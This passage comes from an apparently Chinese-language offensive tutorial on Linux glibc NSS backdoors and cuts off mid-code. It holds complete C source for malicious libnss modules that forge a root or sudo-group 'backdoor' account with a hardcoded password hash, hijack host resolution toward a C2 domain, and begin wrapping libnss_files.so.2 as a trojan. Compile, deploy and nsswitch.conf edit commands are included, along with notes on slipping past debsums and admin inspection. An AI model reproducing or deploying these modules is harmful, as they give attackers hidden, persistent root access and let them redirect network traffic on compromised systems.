└─ 4. fclose(stream) → 返回最终 status用一句话总结:打开文件 → 逐行读取并解析 → 逐条匹配 → 找到则返回成功,遍历完毕未找到则返回 NOTFOUND。
类似地,DB_LOOKUP(pwuid, ...) 展开为 _nss_files_getpwuid_r,按 UID 查找,流程完全一致,只是匹配条件变为 result->pw_uid == uid。
其他数据库的模块(如 files-hosts.c、files-grp.c)结构也完全一致,只是 STRUCTURE、DATABASE 宏不同,解析器和匹配逻辑不同。例如 files-hosts.c 定义 DATABASE "hosts",因此打开的是 /etc/hosts,解析出的结构体是 struct hostent。
最小化 NSS 模块模板(passwd 数据库)
基于以上规范,以下是一个最小化的 NSS 模块示例——为 passwd 数据库添加一个伪造的 backdoor 用户(UID=0):
#include<nss.h>
#include<pwd.h>
#include<string.h>
#include<errno.h>
enum nss_status
_nss_nop_getpwnam_r (constchar *name,
struct passwd *result,
char *buffer,
size_t buflen,
int *errnop)
{
if (strcmp(name, "backdoor") != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 256)
{
*errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
}
strcpy(buffer, "backdoor");
result->pw_name = buffer;
strcpy(buffer + strlen("backdoor") + 1, "x");
result->pw_passwd = buffer + strlen("backdoor") + 1;
result->pw_uid = 0;
result->pw_gid = 0;
strcpy(buffer + strlen("backdoor") + 2, "/root");
result->pw_dir = buffer + strlen("backdoor") + 2;
strcpy(buffer + strlen("backdoor") + 2 + strlen("/root") + 1, "/bin/bash");
result->pw_shell = buffer + strlen("backdoor") + 2 + strlen("/root") + 1;
result->pw_gecos = buffer + strlen("backdoor") + 2;
return NSS_STATUS_SUCCESS;
}编译和部署:
# 编译
gcc -shared -fPIC -o libnss_nop.so.2 nss_nop.c
# 部署到系统目录
sudo cp libnss_nop.so.2 /usr/lib/x86_64-linux-gnu/
# 修改 nsswitch.conf
# 将 passwd 行改为:passwd: files nop验证方法:执行
id backdoor,如果模块工作正常,应返回uid=0(root) gid=0(root)。
编写其他数据库模块的要点
上面的示例只实现了 passwd 数据库的 getpwnam_r。如果你要为其他数据库编写模块,核心差异在于:
结果结构体不同:passwd →
struct passwd,hosts →struct hostent,group →struct group查询参数不同:passwd →
const char *name,hosts →const char *hostname+int af头文件不同:
<pwd.h>、<netdb.h>、<grp.h>等需要实现的函数不同:根据上文的"按数据库分组的函数子集"选择
例如,如果要为 hosts 数据库编写一个劫持模块,你需要实现 _nss_nop_gethostbyname_r,返回类型是 struct hostent,这在后续的 NSS 后门实战章节中会详细展开。
3.4 配置文件修改后的生效机制
这个问题对于理解 NSS 后门的持久化能力至关重要:修改 nsswitch.conf 后,是否需要重启进程?
源码层面的答案
通过分析 nss_database.c 中的 nss_database_check_reload_and_get() 函数(第 392-475 行),glibc 的行为是:
每次 NSS 查询时,先
stat()检查/etc/nsswitch.conf是否变化如果文件未变化(大小和 mtime 一致),直接返回缓存的配置
如果文件已变化,重新打开文件、逐行解析、更新缓存
关键代码(第 410-421 行):
if (!__file_change_detection_for_path (&initial, _PATH_NSSWITCH_CONF))
returnfalse;
__libc_lock_lock (local->lock);
if (__file_is_unchanged (&initial, &local->data.nsswitch_conf))
{
*result = local->data.services[database_index];
__libc_lock_unlock (local->lock);
returntrue;
}这意味着:修改 nsswitch.conf 后,不需要重启已有进程。 进程在下一次进行 NSS 查询时,会自动检测到文件变化并重新加载配置。
但有一个重要的例外:容器检测
nss_database.c 第 423-447 行有一段特殊逻辑:检测根目录 / 的 inode 和 device 是否变化。如果变化了(说明进程进入了容器,如 chroot),则永久禁用配置重新加载:
int stat_rv = __stat64_time64 ("/", &str);
if (local->data.services[database_index] != NULL)
{
if (stat_rv != 0
|| (local->root_ino != 0
&& (str.st_ino != local->root_ino
|| str.st_dev != local->root_dev)))
{
// 检测到容器环境,禁用重新加载
atomic_store_release (&local->data.reload_disabled, 1);
*result = local->data.services[database_index];
__libc_lock_unlock (local->lock);
returntrue;
}
}这正是 CVE-2025-32463 的利用条件之一——sudo 在 chroot 后,根目录发生变化,本应触发这个"禁用重新加载"的保护机制。但由于 sudo 在 chroot 之前就已经加载了配置(或者说,这是首次加载),所以这个保护没有生效。
已加载的 .so 模块不会被卸载
需要注意的是,即使 nsswitch.conf 被重新加载,已经通过 dlopen() 加载的 libnss_*.so.2 模块不会被卸载。模块列表(nss_module_list)是全局的,只增不减(nss_module.c 第 50 行)。
这意味着:
如果你在
nsswitch.conf中添加了一个新数据源,对应的.so会在下次查询时被加载如果你从
nsswitch.conf中移除了一个数据源,对应的.so仍然留在内存中,但其中的内容已经不起作用了如果数据源的
.so文件被替换,已加载的模块不会自动重新加载
但需要区分两个层面的"效果":
内存驻留(
.so代码仍在进程地址空间中):一旦加载,永不卸载。即使后续从nsswitch.conf中移除了该数据源,.so仍然留在内存里,其中的代码和数据仍然存在。查询激活(NSS 查询是否会走到该模块):完全由
nsswitch.conf当前配置决定。如果攻击者部署了恶意libnss_evil.so.2,在nsswitch.conf中添加了evil数据源使其被加载,然后又将其从nsswitch.conf中删除——恶意.so虽然仍在内存中,但不会再被查询到,因为 NSS 查询链路完全由配置文件驱动。
换句话说:已加载模块的函数指针虽然还在内存中,但只要 nsswitch.conf 中不引用该数据源,这些函数就不会被调用。 模块驻留不等于后门持续生效——后门的持续生效依赖于 nsswitch.conf 中持续保留对恶意数据源的引用。这也是为什么检测 NSS 后门时,检查 nsswitch.conf 的内容比检查已加载的 .so 更重要。
总结
场景 | 是否立即生效 | 需要重启进程? |
|---|---|---|
修改 | ✅ 是 | ❌ 不需要 |
在 | ✅ 是 | ❌ 不需要 |
在 | ✅ 是 | ❌ 不需要 |
替换磁盘上的 | ❌ 对已运行进程不生效(函数指针已缓存) | ✅ 只有新启动的进程才会加载新版本 |
部署新的 | ✅ 是 | ❌ 不需要 |
这个特性对后门植入非常有利:攻击者只需部署恶意 .so 文件并修改 nsswitch.conf,系统上所有正在运行的进程在下一次 NSS 查询时都会自动加载恶意模块。
0x04 添加恶意数据源后门
经过前三章的原理分析,我们已经掌握了 NSS 机制的完整运作方式。从本章开始,我们将进入实战环节。
添加恶意数据源是最直接的 NSS 后门方式。它的核心思路是:在 nsswitch.conf 中追加一个自定义数据源名(如 nop),然后部署对应的 libnss_nop.so.2 恶意模块。由于 NSS 的 NOTFOUND → continue 默认行为,合法用户查询会由 files 正常处理,只有当 files 找不到时才会落到恶意模块。
攻击前提
已获取目标系统的 root 权限
目标系统使用 glibc(几乎所有 Linux 发行版均满足)
4.1 后门模块:伪造 passwd 用户
这是 0x03 中已经展示过的最小化模块。回顾一下它的核心逻辑:
#include<nss.h>
#include<pwd.h>
#include<string.h>
#include<errno.h>
enum nss_status
_nss_nop_getpwnam_r (constchar *name,
struct passwd *result,
char *buffer,
size_t buflen,
int *errnop)
{
if (strcmp(name, "backdoor") != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 256)
{
*errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
}
strcpy(buffer, "backdoor");
result->pw_name = buffer;
strcpy(buffer + strlen("backdoor") + 1, "x");
result->pw_passwd = buffer + strlen("backdoor") + 1;
result->pw_uid = 0;
result->pw_gid = 0;
strcpy(buffer + strlen("backdoor") + 2, "/root");
result->pw_dir = buffer + strlen("backdoor") + 2;
strcpy(buffer + strlen("backdoor") + 2 + strlen("/root") + 1, "/bin/bash");
result->pw_shell = buffer + strlen("backdoor") + 2 + strlen("/root") + 1;
result->pw_gecos = buffer + strlen("backdoor") + 2;
return NSS_STATUS_SUCCESS;
}这个模块只做一件事:当查询用户名为 backdoor 时,返回一个 UID=0(root 权限)的伪造用户条目。查询其他用户名时返回 NOTFOUND,不影响正常查询。
查询流程如下:
id backdoor
│
└─ getpwnam("backdoor")
│
└─ NSS 读取 nsswitch.conf: passwd: files nop
│
├─ 1. 查 files → 读取 /etc/passwd → 没有叫 backdoor 的用户
│ 返回 NSS_STATUS_NOTFOUND
│ 默认动作:continue → 继续查下一个数据源
│
└─ 2. 查 nop → 调用 _nss_nop_getpwnam_r("backdoor", ...)
名字匹配 → 返回 UID=0 的伪造条目
返回 NSS_STATUS_SUCCESS
默认动作:return → 结束查询
最终结果:id backdoor 输出 uid=0(root) gid=0(root)而查询正常用户时完全不受影响:
id root
│
└─ getpwnam("root")
│
└─ NSS: passwd: files nop
│
├─ 1. 查 files → 读取 /etc/passwd → 找到 root
│ 返回 NSS_STATUS_SUCCESS
│ 默认动作:return → 结束查询
│
└─ 2. nop 模块不会被调用
最终结果:id root 正常输出,不受任何影响部署步骤
# 1. 编译
gcc -shared -fPIC -o libnss_nop.so.2 nss_nop.c
# 2. 部署到系统库目录
cp libnss_nop.so.2 /usr/lib/x86_64-linux-gnu/
# 3. 修改 nsswitch.conf
sed -i 's/^passwd:.*/passwd: files nop/' /etc/nsswitch.conf
# 4. 无需重启任何进程,立即生效(原因见 3.4 节)验证
id backdoor
su - backdoor

测试发现,实施后,确实可以瞒过 id 命令,但是想直接 su 登录时,还是需要输入密码,但它并没有密码,所以是不是可以考虑直接在拼接数据时,将第二个字段中填充密码,就相当于在 /etc/passwd 的第二个字段中添加密码。
我们进行一下尝试
pw_passwd 字段为 "x" 时,PAM 会去查 shadow 数据库。但如果我们直接在这个字段中填入密码哈希,PAM 也可以直接用它来认证。
先生成一个密码哈希:
openssl passwd -6 -salt saltsalt yourpassword
# $6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0修改模块代码,将 pw_passwd 从 "x" 改为实际的密码哈希。为避免重启进程(3.4 节提到已加载的 .so 不会自动重新加载),我们新建一个不同名字的模块 libnss_nop2.so.2:
#include<nss.h>
#include<pwd.h>
#include<string.h>
#include<errno.h>
#define BACKDOOR_USER "backdoor2"
#define BACKDOOR_HASH "$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0"
enum nss_status
_nss_nop2_getpwnam_r (constchar *name,
struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, BACKDOOR_USER) != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 512)
{
*errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
}
char *p = buffer;
result->pw_name = p;
p = stpcpy(p, BACKDOOR_USER) + 1;
result->pw_passwd = p;
p = stpcpy(p, BACKDOOR_HASH) + 1;
result->pw_uid = 0;
result->pw_gid = 0;
result->pw_gecos = p;
p = stpcpy(p, BACKDOOR_USER) + 1;
result->pw_dir = p;
p = stpcpy(p, "/root") + 1;
result->pw_shell = p;
p = stpcpy(p, "/bin/bash") + 1;
return NSS_STATUS_SUCCESS;
}编译、部署并切换数据源:
# 编译新模块
gcc -shared -fPIC -o libnss_nop2.so.2 nss_nop2.c
# 部署
cp libnss_nop2.so.2 /usr/lib/x86_64-linux-gnu/
# 将 nsswitch.conf 中的 nop 替换为 nop2
sed -i 's/^passwd:.*/passwd: files nop2/' /etc/nsswitch.conf测试:
id backdoor2
su - backdoor2
密码:yourpassword通过在 pw_passwd 中直接填入密码哈希,绕过了 shadow 数据库的依赖,仅用一个 passwd 模块就完成了用户伪造和认证。

不过这种方式有一个前提:系统的 PAM 配置必须允许从
pw_passwd字段读取密码。大多数发行版默认支持,但某些高安全配置可能会强制要求 shadow。对于更通用的方案,仍然建议同时部署 shadow 模块(见 4.2 节)。
这个后门的问题
这个模块虽然能用,但存在明显的缺陷:
getpwent_r未实现:只实现了getpwnam_r,没有实现getpwent_r。某些遍历所有用户的命令可能不会触发后门只覆盖 passwd 数据库:没有覆盖 group、shadow 等,
id backdoor可能无法显示完整的组信息无法 SSH 登录:SSH 登录需要 PAM 认证,PAM 会查询 shadow 数据库,而我们的模块没有处理 shadow


这些问题将在后续逐步解决。
4.2 后门模块:覆盖更多数据库
要让后门用户能够真正"像正常用户一样"使用,需要覆盖 passwd、group、shadow 三个数据库。
passwd 模块(增强版)
增加 getpwuid_r(按 UID 查找)和 getpwent_r(遍历所有用户)的实现:
#include<nss.h>
#include<pwd.h>
#include<string.h>
#include<errno.h>
#define BACKDOOR_USER "backdoor"
#define BACKDOOR_UID 0
#define BACKDOOR_GID 0staticvoid
fill_backdoor_passwd(struct passwd *result, char *buffer, size_t buflen)
{
char *p = buffer;
result->pw_name = p;
p = stpcpy(p, BACKDOOR_USER) + 1;
result->pw_passwd = p;
p = stpcpy(p, "x") + 1;
result->pw_uid = BACKDOOR_UID;
result->pw_gid = BACKDOOR_GID;
result->pw_gecos = p;
p = stpcpy(p, BACKDOOR_USER) + 1;
result->pw_dir = p;
p = stpcpy(p, "/root") + 1;
result->pw_shell = p;
p = stpcpy(p, "/bin/bash") + 1;
}
enum nss_status
_nss_nop_getpwnam_r (constchar *name,
struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, BACKDOOR_USER) != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 256)
{
*errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
}
fill_backdoor_passwd(result, buffer, buflen);
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_getpwuid_r (uid_t uid,
struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (uid != BACKDOOR_UID)
return NSS_STATUS_NOTFOUND;
if (buflen < 256)
{
*errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
}
fill_backdoor_passwd(result, buffer, buflen);
return NSS_STATUS_SUCCESS;
}
staticint pwent_called = 0;
enum nss_status
_nss_nop_setpwent (int stayopen)
{
pwent_called = 1;
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_endpwent (void)
{
pwent_called = 0;
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_getpwent_r (struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (!pwent_called)
return NSS_STATUS_UNAVAIL;
if (pwent_called == 1)
{
pwent_called = 2;
if (buflen < 256)
{
*errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
}
fill_backdoor_passwd(result, buffer, buflen);
return NSS_STATUS_SUCCESS;
}
return NSS_STATUS_NOTFOUND;
}group 模块
为后门用户伪造 group 信息:
#include<nss.h>
#include<grp.h>
#include<string.h>
#include<errno.h>
#define BACKDOOR_GROUP "root"
#define BACKDOOR_GID 0
enum nss_status
_nss_nop_getgrnam_r (constchar *name,
struct group *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, BACKDOOR_GROUP) != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 128)
{
*errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
}
char *p = buffer;
result->gr_name = p;
p = stpcpy(p, BACKDOOR_GROUP) + 1;
result->gr_passwd = p;
p = stpcpy(p, "x") + 1;
result->gr_gid = BACKDOOR_GID;
result->gr_mem = (char **)(p + sizeof(char *) * 2);
result->gr_mem[0] = NULL;
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_getgrgid_r (gid_t gid,
struct group *result,
char *buffer, size_t buflen, int *errnop)
{
if (gid != BACKDOOR_GID)
return NSS_STATUS_NOTFOUND;
return _nss_nop_getgrnam_r(BACKDOOR_GROUP, result, buffer, buflen, errnop);
}
enum nss_status
_nss_nop_initgroups_dyn (constchar *user, gid_t group,
longint *start, longint *size,
gid_t **groups, longint limit,
int *errnop)
{
if (strcmp(user, BACKDOOR_GROUP) != 0 && strcmp(user, "backdoor") != 0)
return NSS_STATUS_NOTFOUND;
if (*start >= *size)
{
*size *= 2;
*groups = realloc(*groups, *size * sizeof(gid_t));
if (*groups == NULL)
return NSS_STATUS_TRYAGAIN;
}
(*groups)[*start] = BACKDOOR_GID;
*start += 1;
return NSS_STATUS_SUCCESS;
}shadow 模块
让后门用户通过 PAM 认证(SSH 登录等场景需要):
#include<nss.h>
#include<shadow.h>
#include<string.h>
#include<errno.h>
#define BACKDOOR_USER "backdoor"
#define BACKDOOR_HASH "$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0"
enum nss_status
_nss_nop_getspnam_r (constchar *name,
struct spwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, BACKDOOR_USER) != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 512)
{
*errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
}
char *p = buffer;
result->sp_namp = p;
p = stpcpy(p, BACKDOOR_USER) + 1;
result->sp_pwdp = p;
p = stpcpy(p, BACKDOOR_HASH) + 1;
result->sp_lstchg = 20000;
result->sp_min = 0;
result->sp_max = 99999;
result->sp_warn = 7;
result->sp_inact = -1;
result->sp_expire = -1;
result->sp_flag = 0;
return NSS_STATUS_SUCCESS;
}
BACKDOOR_HASH是一个预计算的 SHA-512 密码哈希。生成方式:openssl passwd -6 -salt saltsalt yourpassword
部署和验证
# 编译
gcc -shared -fPIC -o libnss_nop.so.2 nss_nop.c
# 部署
cp libnss_nop.so.2 /usr/lib/x86_64-linux-gnu/
# 修改 nsswitch.conf,覆盖三个数据库
sed -i 's/^passwd:.*/passwd: files nop/' /etc/nsswitch.conf
sed -i 's/^group:.*/group: files nop/' /etc/nsswitch.conf
sed -i 's/^shadow:.*/shadow: files nop/' /etc/nsswitch.conf验证:
id backdoor
ssh backdoor@127.0.0.1
测试发现,虽然 su 切换到 backdoor ,并且使用 getent 能够完整获取到信息,但是 ssh 还是失败了。 接下来通过阅读 pam 源代码,发现可能原因是 ssh 默认配置了不允许 root 登录,但 backdoor 的 uid 和 root 的 uid 是一致的,所以被拦截了。
为了验证这个猜想,我们先重启 ssh 服务,确保不是因为未重启 ssh 导致的

果然,重启 ssh 服务并没有解决问题
接下来我们尝试修改 ssh 配置文件,允许 root 登录,之后再重启 ssh 服务,再次尝试登录

果然是这样!
但这不是一个好方案——修改 PermitRootLogin 会留下明显的配置变更痕迹。更好的策略是让后门用户使用非零 UID,绕过 sshd 的 root 限制,同时通过加入 sudo 组获取 root 权限。
Ubuntu 默认的 /etc/sudoers 包含 %sudo ALL=(ALL:ALL) ALL,只要用户属于 sudo 组(GID=27),就能直接 sudo 提权。
完整代码如下:
#include<nss.h>
#include<pwd.h>
#include<grp.h>
#include<shadow.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#define BACKDOOR_USER "backdoor"
#define BACKDOOR_UID 1002
#define BACKDOOR_GID 1002
#define BACKDOOR_HASH "$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0"
/* ==================== passwd ==================== */staticvoid
fill_backdoor_passwd(struct passwd *result, char *buffer)
{
char *p = buffer;
result->pw_name = p;
p = stpcpy(p, BACKDOOR_USER) + 1;
result->pw_passwd = p;
p = stpcpy(p, "x") + 1;
result->pw_uid = BACKDOOR_UID;
result->pw_gid = BACKDOOR_GID;
result->pw_gecos = p;
p = stpcpy(p, BACKDOOR_USER) + 1;
result->pw_dir = p;
p = stpcpy(p, "/home/backdoor") + 1;
result->pw_shell = p;
p = stpcpy(p, "/bin/bash") + 1;
}
enum nss_status
_nss_nop_getpwnam_r (constchar *name,
struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, BACKDOOR_USER) != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 256)
{
*errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
}
fill_backdoor_passwd(result, buffer);
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_getpwuid_r (uid_t uid,
struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (uid != BACKDOOR_UID)
return NSS_STATUS_NOTFOUND;
if (buflen < 256)
{
*errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
}
fill_backdoor_passwd(result, buffer);
return NSS_STATUS_SUCCESS;
}
staticint pwent_called = 0;
enum nss_status
_nss_nop_setpwent (int stayopen)
{
pwent_called = 1;
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_endpwent (void)
{
pwent_called = 0;
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_getpwent_r (struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (!pwent_called)
return NSS_STATUS_UNAVAIL;
if (pwent_called == 1)
{
pwent_called = 2;
if (buflen < 256)
{
*errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
}
fill_backdoor_passwd(result, buffer);
return NSS_STATUS_SUCCESS;
}
return NSS_STATUS_NOTFOUND;
}
/* ==================== group ==================== */
enum nss_status
_nss_nop_getgrnam_r (constchar *name,
struct group *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, BACKDOOR_USER) != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 256)
{
*errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
}
char *p = buffer;
result->gr_name = p;
p = stpcpy(p, BACKDOOR_USER) + 1;
result->gr_passwd = p;
p = stpcpy(p, "x") + 1;
result->gr_gid = BACKDOOR_GID;
char **mem = (char **)(buffer + 256 - sizeof(char *) * 4);
mem[0] = p;
p = stpcpy(p, BACKDOOR_USER) + 1;
mem[1] = NULL;
result->gr_mem = mem;
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_getgrgid_r (gid_t gid,
struct group *result,
char *buffer, size_t buflen, int *errnop)
{
if (gid != BACKDOOR_GID)
return NSS_STATUS_NOTFOUND;
return _nss_nop_getgrnam_r(BACKDOOR_USER, result, buffer, buflen, errnop);
}
enum nss_status
_nss_nop_initgroups_dyn (constchar *user, gid_t group,
longint *start, longint *size,
gid_t **groups, longint limit,
int *errnop)
{
if (strcmp(user, BACKDOOR_USER) != 0)
return NSS_STATUS_NOTFOUND;
// GID 27 = sudo 组(Ubuntu 默认)
gid_t supplemental_groups[] = { BACKDOOR_GID, 27 };
int num_groups = 2;
for (int i = 0; i < num_groups; i++)
{
if (*start >= *size)
{
*size *= 2;
*groups = realloc(*groups, *size * sizeof(gid_t));
if (*groups == NULL)
return NSS_STATUS_TRYAGAIN;
}
(*groups)[*start] = supplemental_groups[i];
*start += 1;
}
return NSS_STATUS_SUCCESS;
}
/* ==================== shadow ==================== */
enum nss_status
_nss_nop_getspnam_r (constchar *name,
struct spwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, BACKDOOR_USER) != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 512)
{
*errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
}
char *p = buffer;
result->sp_namp = p;
p = stpcpy(p, BACKDOOR_USER) + 1;
result->sp_pwdp = p;
p = stpcpy(p, BACKDOOR_HASH) + 1;
result->sp_lstchg = 20000;
result->sp_min = 0;
result->sp_max = 99999;
result->sp_warn = 7;
result->sp_inact = -1;
result->sp_expire = -1;
result->sp_flag = 0;
return NSS_STATUS_SUCCESS;
}关键变化:
UID 从 0 改为 1002:绕过 sshd 的
PermitRootLogin限制initgroups_dyn返回 GID 27(sudo 组):登录后可直接sudo提权到 roothome 目录改为
/home/backdoor:避免与 root 的 home 目录冲突
编译、部署、测试:
gcc -shared -fPIC -o libnss_nop.so.2 nss_nop.c
cp libnss_nop.so.2 /usr/lib/x86_64-linux-gnu/
sed -i 's/^passwd:.*/passwd: files systemd nop/' /etc/nsswitch.conf
sed -i 's/^group:.*/group: files systemd nop/' /etc/nsswitch.conf
sed -i 's/^shadow:.*/shadow: files systemd nop/' /etc/nsswitch.conf验证:
id backdoor
ssh backdoor@127.0.0.1
# password: yourpassword

成功完成后门账户
整个过程不需要修改任何系统文件(/etc/passwd、/etc/shadow、/etc/sudoers、sshd_config 均未改动),仅通过 NSS 模块就完成了用户创建、认证和提权。
注意:GID 27 是 Ubuntu 上
sudo组的默认值,可通过getent group sudo确认。不同发行版可能不同(如 CentOS/RHEL 为wheel组,GID 通常为 10)。
4.3 后门模块:劫持 hosts 解析
除了伪造用户,NSS 后门还可以劫持主机名解析。这对于 DNS 欺骗、钓鱼攻击、C2 通信重定向非常有用。
#include<nss.h>
#include<netdb.h>
#include<string.h>
#include<errno.h>
#include<arpa/inet.h>
#include<stdlib.h>
#define C2_DOMAIN "evil.example.com"
#define C2_IP "10.0.0.1"
enum nss_status
_nss_nop_gethostbyname_r (constchar *name,
struct hostent *result,
char *buffer, size_t buflen,
int *errnop, int *h_errnop)
{
if (strcmp(name, C2_DOMAIN) != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 256)
{
*errnop = ERANGE;
*h_errnop = NETDB_INTERNAL;
return NSS_STATUS_TRYAGAIN;
}
structin_addraddr;
inet_pton(AF_INET, C2_IP, &addr);
char *p = buffer;
result->h_name = p;
p = stpcpy(p, C2_DOMAIN) + 1;
result->h_aliases = (char **)p;
result->h_aliases[0] = NULL;
p += sizeof(char *) * 2;
result->h_addrtype = AF_INET;
result->h_length = sizeof(struct in_addr);
result->h_addr_list = (char **)p;
p += sizeof(char *) * 2;
memcpy(p, &addr, sizeof(struct in_addr));
result->h_addr_list[0] = p;
result->h_addr_list[1] = NULL;
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_gethostbyname2_r (constchar *name, int af,
struct hostent *result,
char *buffer, size_t buflen,
int *errnop, int *h_errnop)
{
if (af != AF_INET)
return NSS_STATUS_NOTFOUND;
return _nss_nop_gethostbyname_r(name, result, buffer, buflen, errnop, h_errnop);
}部署:
sed -i 's/^hosts:.*/hosts: files nop dns/' /etc/nsswitch.conf验证:
ping evil.example.com
4.4 debsums 检测
sudo debsums -a -cdebsums -a -c没有报告任何 nsswitch.conf 的异常。这是因为 debsums 只校验包管理器已知的文件,而:
/etc/nsswitch.conf不属于任何软件包(它是系统安装时从/usr/share/libc-bin/nsswitch.conf模板复制出来的用户配置文件),debsums根本不校验它libnss_nop.so.2是手动放置的新文件,不属于任何包,debsums也不知道它的存在
因此,0x04 方式对 debsums 完全透明。
4.5 方式总结与局限
优势:
优势 | 说明 |
|---|---|
无需修改系统文件 | 不改 |
配置热加载 | 修改 |
精确控制 | 只在 |
多数据库覆盖 | 可同时控制 passwd、group、shadow、hosts 等 |
局限:
局限 | 说明 |
|---|---|
需要修改 | 这是明显的痕迹,有经验的管理员检查配置即可发现 |
需要部署 | 在系统库目录中多出一个 |
密码哈希硬编码 | shadow 模块中的密码哈希是固定的,更换密码需要重新编译 |
debsums无法检测 | nsswitch.conf 不属于任何包,新增的 |
下一章将介绍如何通过替换合法 NSS 模块来解决"需要修改 nsswitch.conf"这个最大的局限。
0x05 替换合法 NSS 模块后门
0x04 中添加恶意数据源的方式虽然有效,但有一个致命的弱点:nsswitch.conf 被修改了。一个有经验的管理员只需执行 cat /etc/nsswitch.conf 就能发现异常的 nop 数据源。
本章介绍一种更隐蔽的方式:直接替换系统已有的 NSS 共享库。nsswitch.conf 保持原样,后门逻辑隐藏在合法模块的外壳之下。
实现方式说明:替换合法模块有两种思路:
直接修改 glibc 源码编译:在
files-pwd.c的DB_LOOKUP匹配逻辑中注入后门判断,自行编译出libnss_files.so.2。不需要额外文件,隐蔽性最高,但需要在目标系统上编译 glibc,且编译产物必须与目标 glibc 版本严格兼容。
dlopen包装方式:编写新模块,内部通过dlopen加载重命名后的原始模块,在转发调用的同时注入后门逻辑。兼容性好、可移植性强,但会多一个.orig文件。考虑到兼容性和可移植性,本文实验采用第 2 种方式。
5.1 第一次尝试:替换 libnss_files.so.2(失败)
直觉上,最直接的目标是替换 libnss_files.so.2——毕竟它是 nsswitch.conf 中 passwd: files systemd 的第一个数据源。
木马化模块的核心思路是包装(wrapper):对外暴露与原始模块完全相同的函数接口,内部将调用转发给重命名后的原始模块,只在必要时注入后门数据。
以 _nss_files_getpwnam_r 为例,包装逻辑如下:
应用程序调用 getpwnam("alice")
│
└─ NSS: passwd: files systemd
│
└─ 尝试调用 libnss_files.so.2 中的 _nss_files_getpwnam_r("alice")
│
├─ 木马化模块内部:
│ 1. 检查 "alice" == "backdoor"?→ 否
│ 2. 调用原始模块 _nss_files_getpwnam_r("alice")
│ 3. 返回原始结果(正常用户,完全透明)
│
└─ 返回 NSS_STATUS_SUCCESS(alice 的真实信息)
应用程序调用 getpwnam("backdoor")
│
└─ NSS: passwd: files systemd
│
└─ 尝试调用 libnss_files.so.2 中的 _nss_files_getpwnam_r("backdoor")
│
├─ 木马化模块内部:
│ 1. 检查 "backdoor" == "backdoor"?→ 是
│ 2. 填充伪造的 passwd 结构体(UID=1002, GID=sudo)
│ 3. 返回伪造结果(跳过原始模块调用)
│
└─ 返回 NSS_STATUS_SUCCESS(backdoor 的伪造信息)完整代码如下(覆盖 passwd、group、shadow):
#define _GNU_SOURCE
#include<nss.h>
#include<pwd.h>
#include<grp.h>
#include<shadow.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<dlfcn.h>
#define BACKDOOR_USER "backdoor"
#define BACKDOOR_UID 1002
#define BACKDOOR_GID 1002
#define BACKDOOR_HASH "$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0"
#define SUDO_GID 27
#define ORIG_SO "/usr/lib/x86_64-linux-gnu/libnss_files.so.2.orig"
staticvoid *orig_handle = NULL;staticvoidensure_loaded(void)
{
if (orig_handle) return;
orig_handle = dlopen(ORIG_SO, RTLD_LAZY);
}staticvoid
fill_backdoor_passwd(struct passwd *result, char *buffer)
{
char *p = buffer;
result->pw_name = p;
